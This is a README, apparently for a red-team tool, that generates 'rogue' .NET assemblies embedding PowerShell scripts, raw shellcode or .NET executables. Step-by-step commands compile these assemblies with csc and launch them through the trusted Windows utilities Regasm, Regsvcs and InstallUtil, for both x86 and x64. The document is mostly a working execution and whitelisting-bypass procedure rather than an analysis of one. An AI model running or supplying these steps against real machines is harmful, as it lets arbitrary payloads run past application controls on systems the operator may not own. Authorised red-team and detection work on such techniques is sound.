90 lines
3.6 KiB
Markdown
90 lines
3.6 KiB
Markdown
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## Rogue .NET Assembly for Regsvcs/Regasm/InstallUtil Code Execution
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Follow below described steps to properly generate your source code and then compile it into a nice rogue .NET Assembly ready to be executed by:
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- [Regasm](https://lolbas-project.github.io/lolbas/Binaries/Regasm/)
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- [Regsvcs](https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/)
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- [InstallUtil](https://lolbas-project.github.io/lolbas/Binaries/Installutil/)
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### Step 1: Generate key.snk file
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```
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powershell -file build.ps1
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```
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### Step 2: Generate source code file
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Included in this directory script is a helper utility allowing one to quickly generate desired csharp source code file to be used for further `csc` compilation.
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Usage:
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```
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python3 generateRogueDotNet.py --help
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:: Rogue .NET Source Code Generation Utility
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To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil.
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Mariusz B. / mgeeky, <mb@binary-offensive.com>
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usage: .\generateRogueDotNet.py [options] <inputFile>
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positional arguments:
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inputFile Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.
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optional arguments:
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-h, --help show this help message and exit
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-e, --exe Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!
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-r, --raw Specified input file is a raw Shellcode to be injected in self process in a separate Thread.
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```
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Sample use case:
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```
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python3 generateRogueDotNet.py -r notepad64.bin > program.cs
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:: Rogue .NET Source Code Generation Utility
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To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm/InstallUtil.
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Mariusz B. / mgeeky, <mb@binary-offensive.com>
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[?] File specified as raw Shellcode.
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```
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### Step 3: Compilate library .NET Assembly
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```
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
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```
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If you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script). Then proper compilation command will be:
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```
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%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:rogue.dll /keyfile:key.snk program.cs
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```
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### Step 4: Code execution via Regsvcs, Regasm or InstallUtil:
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- x86:
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```
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe rogue.dll
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U rogue.dll
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe rogue.dll
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U rogue.dll
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%WINDIR%\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
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%WINDIR%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
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```
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- x64:
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```
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%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe rogue.dll
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%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U rogue.dll
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%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe rogue.dll
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%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe /U rogue.dll
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%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
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%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /logtoconsole=false /U rogue.dll
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```
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